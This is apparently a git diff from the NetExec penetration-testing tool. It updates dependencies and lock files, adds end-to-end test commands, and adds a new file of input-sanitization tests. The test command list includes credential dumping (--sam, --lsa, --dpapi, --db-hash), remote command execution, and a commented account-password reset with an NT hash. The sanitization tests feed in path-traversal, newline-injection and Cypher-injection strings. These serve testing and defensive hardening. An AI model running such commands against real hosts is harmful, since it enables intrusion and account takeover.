{file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"},
|
||||
]
|
||||
markers = {dev = "python_version == \"3.10\""}
|
||||
|
||||
[[package]]
|
||||
name = "typing-inspection"
|
||||
@@ -3041,5 +2959,5 @@ test = ["pytest", "pytest-cov"]
|
||||
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.10,<4.0"
|
||||
content-hash = "11d6b0b792b5f5e7ecb7ed5ba7406f4353f298e4ff154bca15d9a93a0a3fec48"
|
||||
python-versions = ">=3.11,<4.0"
|
||||
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
|
||||
+5
-9
@@ -3,7 +3,7 @@ name = "netexec"
|
||||
dynamic = ["version"]
|
||||
description = "The Network Execution tool"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.10,<4.0"
|
||||
requires-python = ">=3.11,<4.0"
|
||||
license = { text = "BSD-2-Clause" }
|
||||
authors = [
|
||||
{ name = "Marshall Hallenbeck", email = "[email protected]" },
|
||||
@@ -17,7 +17,7 @@ classifiers = [
|
||||
"Topic :: Security"
|
||||
]
|
||||
dependencies = [
|
||||
"aardwolf>=0.2.8",
|
||||
"aardwolf>=0.2.16",
|
||||
"argcomplete>=3.1.4",
|
||||
"asyauth>=0.0.20",
|
||||
"beautifulsoup4>=4.11,<5",
|
||||
@@ -47,7 +47,7 @@ dependencies = [
|
||||
"terminaltables3>=4.0.0",
|
||||
"xmltodict>=0.13.0",
|
||||
# Git Dependencies
|
||||
"certipy-ad @ git+https://github.com/Pennyw0rth/Certipy",
|
||||
"certipy-nxc>=5.1.0.post1",
|
||||
"impacket @ git+https://github.com/fortra/impacket",
|
||||
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
|
||||
]
|
||||
@@ -98,14 +98,10 @@ dev = [
|
||||
# malicious or compromised releases before they are selected during resolution.
|
||||
[tool.uv]
|
||||
exclude-newer = "1 day"
|
||||
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
|
||||
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py310"
|
||||
exclude = [
|
||||
".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache",
|
||||
".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv",
|
||||
"__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv"
|
||||
]
|
||||
preview = true
|
||||
|
||||
[tool.ruff.lint]
|
||||
|
||||
Binary file not shown.
@@ -221,6 +221,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind
|
||||
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel
|
||||
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel --port 636
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
|
||||
@@ -240,10 +242,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list
|
||||
##### LDAP Modules
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M certipy-find
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M tombstone
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
|
||||
@@ -268,6 +272,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-
|
||||
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
|
||||
# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
|
||||
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
|
||||
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
##### WINRM
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
@@ -306,6 +311,8 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --databas
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --db-hash
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-backups
|
||||
##### MSSQL PowerShell
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
|
||||
@@ -349,6 +356,10 @@ netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-scree
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-exec"
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo alpha^&beta"
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X "Write-Output 'nxc-rdp-exec'"
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-no-output" --no-output
|
||||
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
||||
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
|
||||
@@ -32,6 +32,7 @@ def get_cli_args():
|
||||
parser.add_argument("--test-password-file", required=False, default=normpath(join(script_dir, "data", "test_passwords.txt")), help="Path to the file containing test passwords")
|
||||
parser.add_argument("--amsi-bypass-file", required=False, default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")), help="Path to the file containing AMSI bypasses")
|
||||
parser.add_argument("--test-normal-file", required=False, default=normpath(join(script_dir, "data", "test_file.txt")), help="Path to file to upload/download")
|
||||
parser.add_argument("--test-pfx-file", required=False, default=normpath(join(script_dir, "data", "test_cert.pfx")), help="Path to the PFX certificate for certificate authentication")
|
||||
parser.add_argument("--dns-server", action="store", required=False, help="Specify DNS server")
|
||||
return parser.parse_args()
|
||||
|
||||
@@ -99,6 +100,7 @@ def replace_command(args, line):
|
||||
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
|
||||
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
|
||||
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
|
||||
.replace("TEST_PFX_FILE", args.test_pfx_file)\
|
||||
.replace("{DNS}", dns_server)\
|
||||
.replace("/tmp", TMP_PATH)
|
||||
if args.poetry:
|
||||
|
||||
@@ -0,0 +1,445 @@
|
||||
import ntpath
|
||||
from importlib.util import module_from_spec, spec_from_file_location
|
||||
from pathlib import Path, PureWindowsPath
|
||||
import re
|
||||
from types import SimpleNamespace
|
||||
from unicodedata import normalize
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
from impacket import ntlm
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class Logger:
|
||||
def __init__(self):
|
||||
self.messages = []
|
||||
self.extra = {}
|
||||
|
||||
def fail(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def debug(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def highlight(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def display(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def success(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def error(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
|
||||
class RaisingLogger:
|
||||
def fail(self, message):
|
||||
raise RuntimeError(message)
|
||||
|
||||
|
||||
class Unstringable:
|
||||
def __str__(self):
|
||||
raise ValueError
|
||||
|
||||
|
||||
class Challenge:
|
||||
fields = {}
|
||||
|
||||
def __getitem__(self, key):
|
||||
return {"TargetInfoFields": b"x", "TargetInfoFields_len": 1}[key]
|
||||
|
||||
|
||||
class AVPairs:
|
||||
def __init__(self, pairs):
|
||||
self.pairs = pairs
|
||||
|
||||
def __getitem__(self, key):
|
||||
return self.pairs.get(key)
|
||||
|
||||
|
||||
class QueryResult:
|
||||
def __init__(self, data):
|
||||
self.result = data
|
||||
|
||||
def data(self):
|
||||
return self.result
|
||||
|
||||
|
||||
class Transaction:
|
||||
def __init__(self, responses):
|
||||
self.responses = responses
|
||||
self.calls = []
|
||||
|
||||
def run(self, query, **parameters):
|
||||
self.calls.append((query, parameters))
|
||||
return QueryResult(self.responses.pop(0))
|
||||
|
||||
|
||||
class SMBItem:
|
||||
def __init__(self, name, directory=False):
|
||||
self.name = name
|
||||
self.directory = directory
|
||||
|
||||
def get_longname(self):
|
||||
return self.name
|
||||
|
||||
def is_directory(self):
|
||||
return self.directory
|
||||
|
||||
|
||||
class SMBConnection:
|
||||
def __init__(self, name):
|
||||
self.item = SMBItem(name)
|
||||
self.remote_path = None
|
||||
|
||||
def listPath(self, share, path):
|
||||
return [self.item]
|
||||
|
||||
def getFile(self, share, remote_path, callback, shareAccessMode=None):
|
||||
self.remote_path = remote_path
|
||||
callback(b"content")
|
||||
|
||||
|
||||
class RecursiveSMBConnection:
|
||||
def __init__(self):
|
||||
self.remote_path = None
|
||||
|
||||
def listPath(self, share, path):
|
||||
if path == ntpath.join("root", "*"):
|
||||
return [SMBItem(r"C:\outside", directory=True)]
|
||||
return [SMBItem("proof.txt")]
|
||||
|
||||
def getFile(self, share, remote_path, callback, shareAccessMode=None):
|
||||
self.remote_path = remote_path
|
||||
callback(b"content")
|
||||
|
||||
|
||||
class EnumerationSMBConnection:
|
||||
def getSMBServer(self):
|
||||
return SimpleNamespace(get_socket=lambda: SimpleNamespace(getsockname=lambda: ("192.0.2.10", 445)))
|
||||
|
||||
def login(self, username, password):
|
||||
return None
|
||||
|
||||
def getServerDNSHostName(self):
|
||||
return "HOST/../../evil.example"
|
||||
|
||||
def getServerName(self):
|
||||
return "NETBIOS"
|
||||
|
||||
def getServerDNSDomainName(self):
|
||||
return "example\n#injected"
|
||||
|
||||
def getServerOS(self):
|
||||
return "Windows 11"
|
||||
|
||||
def getServerOSMajor(self):
|
||||
return 10
|
||||
|
||||
def getServerOSMinor(self):
|
||||
return 0
|
||||
|
||||
def getServerOSBuild(self):
|
||||
return 26100
|
||||
|
||||
def logoff(self):
|
||||
return None
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def smb_class():
|
||||
spec = spec_from_file_location("sanitize_test_smb_protocol", Path(__file__).parents[1] / "nxc" / "protocols" / "smb.py")
|
||||
module = module_from_spec(spec)
|
||||
spec.loader.exec_module(module)
|
||||
return module.smb
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"hostname",
|
||||
[
|
||||
"server",
|
||||
"SRV-01",
|
||||
"3com",
|
||||
"123",
|
||||
"host.example.com",
|
||||
"host_name",
|
||||
"münchen.example",
|
||||
"-odd-",
|
||||
"name$@!%^&(),+~`",
|
||||
"a" * 253,
|
||||
],
|
||||
)
|
||||
def test_sanitize_dns_preserves_safe_and_noncompliant_names(hostname):
|
||||
logger = Logger()
|
||||
assert sanitize_dns(hostname, logger) == hostname
|
||||
assert logger.messages == []
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("hostname", "expected"),
|
||||
[
|
||||
(None, "_"),
|
||||
("", "_"),
|
||||
(".", "_"),
|
||||
("..", "__"),
|
||||
("host.", "host_"),
|
||||
("host name", "host_name"),
|
||||
("../../pwn", ".._.._pwn"),
|
||||
(r"..\..\pwn", ".._.._pwn"),
|
||||
("/tmp/pwn", "_tmp_pwn"),
|
||||
(r"C:\temp", "C__temp"),
|
||||
("{output_folder}", "_output_folder_"),
|
||||
("host\uff0fname", "host_name"),
|
||||
(b"server", "server"),
|
||||
],
|
||||
)
|
||||
def test_sanitize_dns_returns_safe_strings(hostname, expected):
|
||||
assert sanitize_dns(hostname, Logger()) == expected
|
||||
|
||||
|
||||
def test_sanitize_dns_replaces_config_and_control_characters():
|
||||
logger = Logger()
|
||||
sanitized = sanitize_dns("host name\n\x00\x1b#comment;[section]={value}'\"", logger)
|
||||
assert sanitized == "host_name____comment__section___value___"
|
||||
assert len(logger.messages) == 1
|
||||
assert "\n" not in logger.messages[0]
|
||||
assert "\x00" not in logger.messages[0]
|
||||
assert "\x1b" not in logger.messages[0]
|
||||
assert r"\n" in logger.messages[0]
|
||||
assert r"\x00" in logger.messages[0]
|
||||
assert r"\x1b" in logger.messages[0]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$", "aux.example.com", "com1.example.com", "lpt9.example.com"])
|
||||
def test_sanitize_dns_preserves_windows_device_names(name):
|
||||
assert sanitize_dns(name, Logger()) == name
|
||||
|
||||
|
||||
def test_sanitize_dns_bounds_long_values_with_stable_hash():
|
||||
name = "é" * 200
|
||||
sanitized = sanitize_dns(name, Logger())
|
||||
assert len(sanitized.encode("utf-8")) <= 253
|
||||
assert sanitized == sanitize_dns(name, Logger())
|
||||
assert sanitized != name
|
||||
assert len(sanitized.rsplit("_", 1)[1]) == 12
|
||||
|
||||
|
||||
def test_sanitize_dns_replaces_malformed_bytes():
|
||||
assert sanitize_dns(b"host\xffname", Logger()) == "host_name"
|
||||
|
||||
|
||||
def test_sanitize_dns_always_returns_a_string():
|
||||
assert sanitize_dns(Unstringable(), Logger()) == "_"
|
||||
assert sanitize_dns("../host", None) == ".._host"
|
||||
assert sanitize_dns("../host", RaisingLogger()) == ".._host"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"hostname",
|
||||
["\n", "host\n", "host\x00name", "host\u202ename", "../../x", r"..\..\x", "{output_folder}", "host name", "\uff23\uff2f\uff2e"],
|
||||
)
|
||||
def test_sanitize_dns_postconditions(hostname):
|
||||
sanitized = sanitize_dns(hostname, Logger())
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
assert isinstance(sanitized, str)
|
||||
assert sanitized
|
||||
assert len(sanitized.encode("utf-8")) <= 253
|
||||
assert all(character.isprintable() and not character.isspace() for character in sanitized)
|
||||
assert not any(character in '<>:"/\\|?*{}[]=#;\'' for character in sanitized)
|
||||
assert all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in '<>:"/\\|?*{}[]=#;\''
|
||||
for character in sanitized
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
assert normalized not in (".", "..")
|
||||
assert not normalized.endswith(".")
|
||||
assert sanitize_dns(sanitized, Logger()) == sanitized
|
||||
|
||||
|
||||
def test_parse_challenge_keeps_dns_and_netbios_names_distinct():
|
||||
pairs = AVPairs({
|
||||
ntlm.NTLMSSP_AV_HOSTNAME: (0, "NETBIOS_NAME".encode("utf-16le")),
|
||||
ntlm.NTLMSSP_AV_DNS_HOSTNAME: (0, "server.example.com".encode("utf-16le")),
|
||||
ntlm.NTLMSSP_AV_DNS_DOMAINNAME: (0, "example.com".encode("utf-16le")),
|
||||
})
|
||||
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=pairs):
|
||||
result = parse_challenge(b"challenge")
|
||||
|
||||
assert result["hostname"] == "NETBIOS_NAME"
|
||||
assert result["dns_hostname"] == "server.example.com"
|
||||
assert result["domain"] == "example.com"
|
||||
|
||||
|
||||
def test_parse_challenge_handles_missing_names():
|
||||
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=AVPairs({})):
|
||||
result = parse_challenge(b"challenge")
|
||||
|
||||
assert result["hostname"] is None
|
||||
assert result["dns_hostname"] is None
|
||||
assert result["domain"] is None
|
||||
|
||||
|
||||
def test_ldap_dns_hostname_remains_raw_at_parse_boundary():
|
||||
entry = ldapasn1_impacket.SearchResultEntry()
|
||||
entry["objectName"] = ""
|
||||
entry["attributes"][0]["type"] = "dNSHostName"
|
||||
entry["attributes"][0]["vals"][0] = "../../evil\n"
|
||||
|
||||
result = parse_result_attributes([entry])
|
||||
|
||||
assert result == [{"dNSHostName": "../../evil\n"}]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("function", "user_info", "domain", "first_result", "expected"),
|
||||
[
|
||||
(_add_with_domain, {"username": "HOST' OR 1=1$"}, "EXAMPLE' OR 1=1", [{"c": {"owned": False}}], "HOST' OR 1=1.EXAMPLE' OR 1=1"),
|
||||
(_add_without_domain, {"username": "USER' OR 1=1"}, None, [{"c": {"owned": False, "name": "USER' OR 1=1@EXAMPLE"}}], "USER' OR 1=1"),
|
||||
],
|
||||
)
|
||||
def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, domain, first_result, expected):
|
||||
transaction = Transaction([first_result, [{"name": expected}]])
|
||||
if domain is None:
|
||||
function(user_info, transaction, Logger())
|
||||
else:
|
||||
function(user_info, domain, transaction, Logger())
|
||||
|
||||
assert len(transaction.calls) == 2
|
||||
assert all(expected not in query for query, _ in transaction.calls)
|
||||
assert transaction.calls[0][1]["user_owned"] == expected
|
||||
assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE")
|
||||
|
||||
|
||||
def test_smb_enum_host_info_sanitizes_remote_names(smb_class):
|
||||
connection = smb_class.__new__(smb_class)
|
||||
connection.conn = EnumerationSMBConnection()
|
||||
connection.host = "192.0.2.10"
|
||||
connection.hostname = connection.host
|
||||
connection.domain = None
|
||||
connection.no_ntlm = False
|
||||
connection.isdc = False
|
||||
connection.os_arch = 0
|
||||
connection.smbv1 = False
|
||||
connection.kerberos = False
|
||||
connection.kdcHost = "192.0.2.10"
|
||||
connection.logger = Logger()
|
||||
connection.db = SimpleNamespace(add_host=lambda *args: None)
|
||||
connection.args = SimpleNamespace(generate_hosts_file=None, generate_krb5_file=None, domain=None, use_kcache=False, local_auth=False)
|
||||
connection.is_host_dc = lambda aggressive_check=False: None
|
||||
connection._is_signing_required = lambda: False
|
||||
connection.get_os_arch = lambda: 64
|
||||
|
||||
connection.enum_host_info()
|
||||
|
||||
assert connection.hostname == "HOST_"
|
||||
assert connection.targetDomain == "example__injected"
|
||||
|
||||
|
||||
def test_smb_download_sanitizes_only_the_local_path(tmp_path, smb_class):
|
||||
remote_name = r"..\..\escape.txt"
|
||||
connection = smb_class.__new__(smb_class)
|
||||
connection.conn = SMBConnection(remote_name)
|
||||
connection.logger = Logger()
|
||||
connection.args = SimpleNamespace(share="SHARE", append_host=False)
|
||||
|
||||
connection.download_folder("root", str(tmp_path), silent=True)
|
||||
|
||||
assert connection.conn.remote_path == ntpath.join("root", remote_name)
|
||||
assert (tmp_path / ".._.._escape.txt").read_bytes() == b"content"
|
||||
assert not (tmp_path.parent / "escape.txt").exists()
|
||||
|
||||
|
||||
def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_class):
|
||||
connection = smb_class.__new__(smb_class)
|
||||
connection.conn = RecursiveSMBConnection()
|
||||
connection.logger = Logger()
|
||||
connection.args = SimpleNamespace(share="SHARE", append_host=False)
|
||||
|
||||
connection.download_folder("root", str(tmp_path), recursive=True, silent=True)
|
||||
|
||||
assert connection.conn.remote_path == ntpath.join(r"C:\outside", "proof.txt")
|
||||
assert (tmp_path / "C_" / "outside" / "proof.txt").read_bytes() == b"content"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("name", "expected"),
|
||||
[
|
||||
("CON", "_CON"),
|
||||
("NUL.txt", "_NUL.txt"),
|
||||
("../pwn", ".._pwn"),
|
||||
(r"..\pwn", ".._pwn"),
|
||||
("{hostname}", "{hostname}"),
|
||||
("report{1}.txt", "report{1}.txt"),
|
||||
("report_1_.txt", "report_1_.txt"),
|
||||
("report\uff5b1\uff5d.txt", "report\uff5b1\uff5d.txt"),
|
||||
("host\u202ename", "host_name"),
|
||||
("münchen.example", "münchen.example"),
|
||||
("CON .txt", "_CON .txt"),
|
||||
],
|
||||
)
|
||||
def test_sanitize_path_component_handles_cross_platform_names(name, expected):
|
||||
assert sanitize_path_component(name) == expected
|
||||
|
||||
|
||||
def test_sanitize_path_component_replaces_malformed_bytes():
|
||||
assert sanitize_path_component(b"host\xffname") == "host_name"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", ["../../x", r"C:\x", "\uff23\uff2f\uff2e.txt", "name. ", "x\uff0fy", "{output_folder}"])
|
||||
def test_sanitize_path_component_postconditions(name):
|
||||
sanitized = sanitize_path_component(name)
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
assert sanitized
|
||||
assert len(sanitized.encode("utf-8")) <= 255
|
||||
assert all(character.isprintable() for character in sanitized)
|
||||
assert not any(character in '<>:"/\\|?*' for character in sanitized)
|
||||
assert all(
|
||||
normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*'
|
||||
for character in sanitized
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
assert normalized not in (".", "..")
|
||||
assert not normalized.endswith(".")
|
||||
assert not normalized[-1].isspace()
|
||||
assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None
|
||||
assert sanitize_path_component(sanitized) == sanitized
|
||||
|
||||
|
||||
def test_sanitize_path_component_bounds_long_names_and_preserves_extension():
|
||||
sanitized = sanitize_path_component(f"{'a' * 300}.log")
|
||||
assert len(sanitized.encode("utf-8")) <= 255
|
||||
assert sanitized.endswith(".log")
|
||||
assert len(sanitized.rsplit("_", 1)[1].removesuffix(".log")) == 12
|
||||
|
||||
|
||||
def test_sanitize_path_component_keeps_paths_inside_base(tmp_path):
|
||||
sanitized = sanitize_path_component("../../outside")
|
||||
output = tmp_path / sanitized
|
||||
assert output.parent == tmp_path
|
||||
assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base")
|
||||
|
||||
|
||||
def test_sanitize_path_component_honors_custom_budget():
|
||||
sanitized = sanitize_path_component("a" * 300, max_bytes=220)
|
||||
assert len(sanitized.encode("utf-8")) <= 220
|
||||
assert sanitized == sanitize_path_component("a" * 300, max_bytes=220)
|
||||
|
||||
|
||||
def test_sanitize_path_component_drops_extension_that_exceeds_budget():
|
||||
sanitized = sanitize_path_component(f"{'a' * 30}.abcdefghijklmnopqrstuvwx", max_bytes=20)
|
||||
assert sanitized != "_"
|
||||
assert len(sanitized.encode("utf-8")) <= 20
|
||||
assert sanitize_path_component(sanitized, max_bytes=20) == sanitized
|
||||
@@ -1,14 +1,17 @@
|
||||
version = 1
|
||||
revision = 3
|
||||
requires-python = ">=3.10, <4.0"
|
||||
requires-python = ">=3.11, <4.0"
|
||||
|
||||
[options]
|
||||
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
|
||||
exclude-newer-span = "P1D"
|
||||
|
||||
[options.exclude-newer-package]
|
||||
certipy-nxc = "2026-10-14T17:00:00Z"
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
version = "0.2.14"
|
||||
version = "0.2.16"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "arc4" },
|
||||
@@ -22,7 +25,12 @@ dependencies = [
|
||||
{ name = "tqdm" },
|
||||
{ name = "unicrypto" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/71/0f/79f2acb31e1144a3895d17ad9136272d2b75ed3bd24eb1c415129d5e089d/aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2", size = 1013103, upload-time = "2026-10-04T18:44:46.704Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/6c/8d/a0cfa361e4077c56bcda4b820c462dbea4a11ff60110bc8486c1f051b660/aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7", size = 2169322, upload-time = "2026-10-04T18:44:41.102Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/15/7b/079c9087a742763141d3e2e4b000f34c3962aa6cb67599158fcb08c9aaaa/aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259", size = 2241815, upload-time = "2026-10-04T18:44:43.011Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/71/43/b51e73133aae6a3e56bfb79174e8a4edc99f8ef051202b0e7173053a0886/aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6", size = 1966337, upload-time = "2026-10-04T18:44:45.294Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "aesedb"
|
||||
@@ -86,7 +94,6 @@ name = "anyio"
|
||||
version = "4.14.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
|
||||
{ name = "idna" },
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
@@ -101,9 +108,6 @@ version = "0.5.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
